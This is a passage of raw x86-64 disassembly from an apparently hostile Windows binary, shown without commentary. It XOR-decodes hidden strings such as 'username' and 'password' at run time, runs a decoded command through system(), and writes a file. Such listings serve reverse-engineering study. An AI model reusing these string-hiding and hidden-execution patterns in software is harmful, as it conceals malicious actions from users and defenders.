mov byte [rbp + 0x221], r8b
xor r9b, cl
mov byte [rbp + 0x222], r9b
xor r10b, cl
mov byte [rbp + 0x223], r10b
xor r11b, cl
mov byte [rbp + 0x224], r11b
xor bl, cl
mov byte [rbp + 0x225], bl
mov byte [rbp + 0x226], sil
lea r9, [rbp + 0x211]
lea r8, [0x14022005c]
mov edx, 0x100
lea rcx, [0x140b32830]
call fcn.140003510
mov qword [0x140b32930], r14
mov dword [0x140b32ad4], esi
mov dword [0x140b32ce8], esi
mov dword [0x140b32cec], 0x43160000
mov dword [0x140b32d34], esi
mov dword [0x140b32d30], 0x42200000
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x1401f1b40]
movdqu xmmword [rbp + 0x200], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x201], al
xor byte [rbp + 0x202], cl
xor byte [rbp + 0x203], cl
xor byte [rbp + 0x204], cl
xor byte [rbp + 0x205], cl
xor byte [rbp + 0x206], cl
xor byte [rbp + 0x207], cl
xor byte [rbp + 0x208], cl
xor byte [rbp + 0x209], cl
xor byte [rbp + 0x20a], cl
xor byte [rbp + 0x20b], cl
xor byte [rbp + 0x20c], cl
xor byte [rbp + 0x20d], cl
xor byte [rbp + 0x20e], cl
mov byte [rbp + 0x20f], sil
mov byte [rsp + 0x38], sil
xor eax, eax
mov qword [rsp + 0x40], rax
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.14001c200
mov byte [rsp + 0x38], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140148f4c
mov rbx, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rax, [rbp + 0x201]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14010d700
lea rdx, [rbp + 0x201]
mov rcx, rbx
call fcn.140024450
nop
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov byte [rsp + 0x50], 0
xor eax, eax
mov qword [rsp + 0x58], rax
movsxd rbx, dword [reloc.WS2_32.dll_ntohl]
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.14001c200
mov byte [rsp + 0x50], 5
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rsi
lea rax, [rsp + 0x38]
mov qword [rbp + 0x200], rax
lea rax, [rsp + 0x68]
mov qword [rbp + 0x208], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x240]
call fcn.1400194c0
mov qword [rbp + 0x250], rsi
mov byte [rbp + 0x190], 4
mov al, 0x71
mov cl, 0x77
mov dl, 0x61
mov r8b, 0x76
mov r9b, 0x6a
mov r10b, 0x65
mov r11b, 0x69
movzx ebx, dl
xor edi, edi
xor al, 4
mov byte [rbp + 0x191], al
xor cl, 4
mov byte [rbp + 0x192], cl
xor dl, 4
mov byte [rbp + 0x193], dl
xor r8b, 4
mov byte [rbp + 0x194], r8b
xor r9b, 4
mov byte [rbp + 0x195], r9b
xor r10b, 4
mov byte [rbp + 0x196], r10b
xor r11b, 4
mov byte [rbp + 0x197], r11b
xor bl, 4
mov byte [rbp + 0x198], bl
mov byte [rbp + 0x199], dil
mov byte [rbp + 0x1b0], dil
xor eax, eax
mov qword [rbp + 0x1b8], rax
xor edx, edx
lea rcx, [rbp + 0x1b8]
call fcn.14001c200
mov byte [rbp + 0x1b0], 3
lea ecx, [rdi + 0x20]
call fcn.140148f4c
mov rbx, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rax, [rbp + 0x191]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14010d860
lea rdx, [rbp + 0x191]
mov rcx, rbx
call fcn.140024450
nop
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], rsi
mov byte [rbp + 0x1c8], 0
xor eax, eax
mov qword [rbp + 0x1d0], rax
xor edx, edx
lea rcx, [rbp + 0x1d0]
call fcn.14001c200
mov byte [rbp + 0x1c8], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140148f4c
mov rbx, rax
lea rax, [rsp + 0x31]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rdx, [0x140b32950]
mov r8, r13
inc r8
cmp byte [rdx + r8], 0
jne 0x14010d8e5
mov rcx, rbx
call fcn.140024450
nop
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x1d8], rsi
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x208], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x258]
call fcn.1400194c0
mov qword [rbp + 0x268], rsi
mov byte [rbp + 0x190], 0x54
mov al, 0x24
mov cl, 0x35
mov dl, 0x27
movzx r8d, dl
mov r9b, reloc.WLDAP32.dll_Ordinal_35
mov r10b, Ordinal_60
mov r11b, 0x26
mov bl, 0x30
xor edi, edi
xor al, 0x54
mov byte [rbp + 0x191], al
xor cl, 0x54
mov byte [rbp + 0x192], cl
xor dl, 0x54
mov byte [rbp + 0x193], dl
xor r8b, 0x54
mov byte [rbp + 0x194], r8b
xor r9b, 0x54
mov byte [rbp + 0x195], r9b
xor r10b, 0x54
mov byte [rbp + 0x196], r10b
xor r11b, 0x54
mov byte [rbp + 0x197], r11b
xor bl, 0x54
mov byte [rbp + 0x198], bl
mov byte [rbp + 0x199], dil
mov byte [rbp + 0x210], dil
xor eax, eax
mov qword [rbp + 0x218], rax
xor edx, edx
lea rcx, [rbp + 0x218]
call fcn.14001c200
mov byte [rbp + 0x210], 3
lea ecx, [rdi + 0x20]
call fcn.140148f4c
mov rbx, rax
lea rax, [rsp + 0x31]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
lea rax, [rbp + 0x191]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x14010da11
lea rdx, [rbp + 0x191]
mov rcx, rbx
call fcn.140024450
nop
mov qword [rbp + 0x218], rbx
mov qword [rbp + 0x220], rsi
lea rdx, [0x140b32a50]
lea rcx, [rbp + 0x228]
call fcn.140103e10
mov qword [rbp + 0x238], rsi
lea rax, [rbp + 0x210]
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x240]
mov qword [rbp + 0x208], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x270]
call fcn.1400194c0
mov qword [rbp + 0x280], rsi
lea rax, [rbp + 0x240]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x288]
mov qword [rbp + 0x198], rax
mov r9b, 2
mov r8b, 1
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x200]
call fcn.1400194c0
nop
lea r9, [0x14000b0c0]
mov edx, Ordinal_27
lea r8d, [rdx - 0x15]
lea rcx, [rbp + 0x240]
call fcn.140148e34
nop
lea r9, [0x14000b0c0]
mov edx, Ordinal_27
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x210]
call fcn.140148e34
nop
lea r9, [0x14000b0c0]
mov edx, Ordinal_27
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x1b0]
call fcn.140148e34
nop
lea r9, [0x14000b0c0]
mov edx, Ordinal_27
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x38]
call fcn.140148e34
movdqa xmm1, xmmword [0x1401f2690]
movdqu xmmword [rbp + 0x2b0], xmm1
mov cl, 0x49
mov dl, 0x44
mov r9b, 0x45
mov r10b, Ordinal_79
mov r11b, 0x54
movzx ebx, cl
mov dil, 0x46
movzx esi, cl
movzx r14d, r9b
mov r15b, 0x52
mov r12b, 0x53
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rbp + 0x2b1], al
xor byte [rbp + 0x2b2], r8b
xor byte [rbp + 0x2b3], r8b
xor byte [rbp + 0x2b4], r8b
xor byte [rbp + 0x2b5], r8b
xor byte [rbp + 0x2b6], r8b
xor byte [rbp + 0x2b7], r8b
xor byte [rbp + 0x2b8], r8b
xor byte [rbp + 0x2b9], r8b
xor byte [rbp + 0x2ba], r8b
xor byte [rbp + 0x2bb], r8b
xor byte [rbp + 0x2bc], r8b
xor byte [rbp + 0x2bd], r8b
xor byte [rbp + 0x2be], r8b
xor byte [rbp + 0x2bf], r8b
xor cl, r8b
mov byte [rbp + 0x2c0], cl
xor dl, r8b
mov byte [rbp + 0x2c1], dl
xor r9b, r8b
mov byte [rbp + 0x2c2], r9b
xor r10b, r8b
mov byte [rbp + 0x2c3], r10b
xor r11b, r8b
mov byte [rbp + 0x2c4], r11b
xor bl, r8b
mov byte [rbp + 0x2c5], bl
xor dil, r8b
mov byte [rbp + 0x2c6], dil
xor sil, r8b
mov byte [rbp + 0x2c7], sil
xor r14b, r8b
mov byte [rbp + 0x2c8], r14b
xor r15b, r8b
mov byte [rbp + 0x2c9], r15b
xor r12b, r8b
mov byte [rbp + 0x2ca], r12b
mov byte [rbp + 0x2cb], 0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x2b1]
lea rcx, [rbp + 0x80]
call fcn.140109430
nop
cmp qword [rbp + 0x108], 0
je 0x14010dcdb
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x80]
call fcn.14010b060
lea rdx, [0x140106a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x88]
call fcn.140120200
test rax, rax
jne 0x14010dcdb
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm1, xmmword [0x1401f2430]
movdqu xmmword [rbp + 0x210], xmm1
mov cl, 0x43
mov r8b, 0x50
mov r9b, 0x58
mov r10b, reloc.WLDAP32.dll_Ordinal_27
movzx r11d, r8b
mov bl, 0x4d
movzx edi, r8b
mov sil, reloc.WS2_32.dll_setsockopt
mov r14b, reloc.WLDAP32.dll_Ordinal_26
mov r15b, 0x53
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x211], al
xor byte [rbp + 0x212], dl
xor byte [rbp + 0x213], dl
xor byte [rbp + 0x214], dl
xor byte [rbp + 0x215], dl
xor byte [rbp + 0x216], dl
xor byte [rbp + 0x217], dl
xor byte [rbp + 0x218], dl
xor byte [rbp + 0x219], dl
xor byte [rbp + 0x21a], dl
xor byte [rbp + 0x21b], dl
xor byte [rbp + 0x21c], dl
xor byte [rbp + 0x21d], dl
xor byte [rbp + 0x21e], dl
xor byte [rbp + 0x21f], dl
xor cl, dl
mov byte [rbp + 0x220], cl
xor r8b, dl
mov byte [rbp + 0x221], r8b
xor r9b, dl
mov byte [rbp + 0x222], r9b
xor r10b, dl
mov byte [rbp + 0x223], r10b
xor r11b, dl
mov byte [rbp + 0x224], r11b
xor bl, dl
mov byte [rbp + 0x225], bl
xor dil, dl
mov byte [rbp + 0x226], dil
xor sil, dl
mov byte [rbp + 0x227], sil
xor r14b, dl
mov byte [rbp + 0x228], r14b
xor r15b, dl
mov byte [rbp + 0x229], r15b
mov byte [rbp + 0x22a], 0
lea rcx, [rbp + 0x211]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x1401f2340]
movdqu xmmword [rbp + 0x210], xmm1
mov dl, 0x50
mov r8b, 0x7c
movzx r9d, dl
mov r10b, 0x4c
mov r11b, 0x55
mov bl, 0x47
mov dil, 0x49
mov sil, Ordinal_79
mov r14b, 0x53
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x211], al
xor byte [rbp + 0x212], cl
xor byte [rbp + 0x213], cl
xor byte [rbp + 0x214], cl
xor byte [rbp + 0x215], cl
xor byte [rbp + 0x216], cl
xor byte [rbp + 0x217], cl
xor byte [rbp + 0x218], cl
xor byte [rbp + 0x219], cl
xor byte [rbp + 0x21a], cl
xor byte [rbp + 0x21b], cl
xor byte [rbp + 0x21c], cl
xor byte [rbp + 0x21d], cl
xor byte [rbp + 0x21e], cl
xor byte [rbp + 0x21f], cl
xor dl, cl
mov byte [rbp + 0x220], dl
xor r8b, cl
mov byte [rbp + 0x221], r8b
xor r9b, cl
mov byte [rbp + 0x222], r9b
xor r10b, cl
mov byte [rbp + 0x223], r10b
xor r11b, cl
mov byte [rbp + 0x224], r11b
xor bl, cl
mov byte [rbp + 0x225], bl
xor dil, cl
mov byte [rbp + 0x226], dil
xor sil, cl
mov byte [rbp + 0x227], sil
xor r14b, cl
mov byte [rbp + 0x228], r14b
mov byte [rbp + 0x229], 0
mov byte [rbp + 0x190], 0x65
mov al, reloc.WLDAP32.dll_Ordinal_41
mov cl, 0x2a
mov dl, 0x26
mov r8b, 0x24
movzx r9d, al
movzx r10d, r8b
mov r11b, 0x35
movzx ebx, r11b
mov dil, reloc.WLDAP32.dll_Ordinal_33
movzx esi, r8b
mov r14b, Ordinal_50
movzx r15d, r8b
xor r12d, r12d
xor al, 0x65
mov byte [rbp + 0x191], al
xor cl, 0x65
mov byte [rbp + 0x192], cl
xor dl, 0x65
mov byte [rbp + 0x193], dl
xor r8b, 0x65
mov byte [rbp + 0x194], r8b
xor r9b, 0x65
mov byte [rbp + 0x195], r9b
xor r10b, 0x65
mov byte [rbp + 0x196], r10b
xor r11b, 0x65
mov byte [rbp + 0x197], r11b
xor bl, 0x65
mov byte [rbp + 0x198], bl
xor dil, 0x65
mov byte [rbp + 0x199], dil
xor sil, 0x65
mov byte [rbp + 0x19a], sil
xor r14b, 0x65
mov byte [rbp + 0x19b], r14b
xor r15b, 0x65
mov byte [rbp + 0x19c], r15b
mov byte [rbp + 0x19d], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
lea rax, [rbp + 0x191]
nop dword [rax]
inc r13
cmp byte [rax + r13], r12b
jne 0x14010dfb0
mov r8, r13
lea rdx, [rbp + 0x191]
lea rcx, [rsp + 0x38]
call fcn.140024450
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x1b0]
call fcn.140121ba0
nop
lea r8, [rbp + 0x211]
mov rdx, rax
lea rcx, [rbp + 0x2d8]
call fcn.1400216a0
nop
lea rcx, [rbp + 0x1b0]
call fcn.14001aa80
mov byte [rbp + 0x190], Ordinal_79
mov al, reloc.WS2_32.dll_select
mov cl, 0x2a
mov dl, 0x7d
movzx r8d, cl
mov r9b, 0x7f
mov r10b, 0x7e
mov r11b, 0x60
movzx ebx, cl
mov dil, Ordinal_35
movzx esi, dil
xor r14d, r14d
xor al, 0x4e
mov byte [rbp + 0x191], al
xor cl, 0x4e
mov byte [rbp + 0x192], cl
xor dl, 0x4e
mov byte [rbp + 0x193], dl
xor r8b, 0x4e
mov byte [rbp + 0x194], r8b
xor r9b, 0x4e
mov byte [rbp + 0x195], r9b
xor r10b, 0x4e
mov byte [rbp + 0x196], r10b
xor r11b, 0x4e
mov byte [rbp + 0x197], r11b
xor bl, 0x4e
mov byte [rbp + 0x198], bl
xor dil, 0x4e
mov byte [rbp + 0x199], dil
xor sil, 0x4e
mov byte [rbp + 0x19a], sil
mov byte [rbp + 0x19b], r14b
lea r8, [rbp + 0x191]
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x2b0]
call fcn.140021540
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14010e0ba
mov rax, qword [rax]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140109430
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp + 0x2b0]
call fcn.14001aa80
cmp qword [rbp - 8], 0
jne 0x14010e160
lea rcx, [rsp + 0x70]
call fcn.14011a9a0
nop
lea rcx, [rbp + 0x2d8]
call fcn.14001aa80
nop
lea rcx, [rbp + 0x80]
call fcn.14011a9a0
nop
xor edx, edx
lea rcx, [rbp + 0x200]
call fcn.14001d060
movzx edx, byte [rbp + 0x200]
lea rcx, [rbp + 0x208]
call fcn.14001c200
nop
jmp 0x14010e2a2
mov r8, qword [0x140b29578]
mov rdx, qword [0x140b29570]
sub r8, rdx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.140120200
test rax, rax
jne 0x14010e1a9
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movdqa xmm1, xmmword [0x1401f2580]
movdqu xmmword [rbp + 0x190], xmm1
mov dl, 0x7f
mov r8b, 0x77
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x191], al
xor byte [rbp + 0x192], cl
xor byte [rbp + 0x193], cl
xor byte [rbp + 0x194], cl
xor byte [rbp + 0x195], cl
xor byte [rbp + 0x196], cl
xor byte [rbp + 0x197], cl
xor byte [rbp + 0x198], cl
xor byte [rbp + 0x199], cl
xor byte [rbp + 0x19a], cl
xor byte [rbp + 0x19b], cl
xor byte [rbp + 0x19c], cl
xor byte [rbp + 0x19d], cl
xor byte [rbp + 0x19e], cl
xor byte [rbp + 0x19f], cl
xor dl, cl
mov byte [rbp + 0x1a0], dl
xor r8b, cl
mov byte [rbp + 0x1a1], r8b
mov byte [rbp + 0x1a2], 0
movaps xmm2, xmm6
lea rdx, [0x1401ebffc]
lea rcx, [rbp + 0x191]
call fcn.14011bb90
nop
lea rcx, [rsp + 0x70]
call fcn.14011a9a0
nop
lea rcx, [rbp + 0x2d8]
call fcn.14001aa80
nop
lea rcx, [rbp + 0x80]
call fcn.14011a9a0
nop
xor edx, edx
lea rcx, [rbp + 0x200]
call fcn.14001d060
movzx edx, byte [rbp + 0x200]
lea rcx, [rbp + 0x208]
call fcn.14001c200
nop
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.140148c30
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret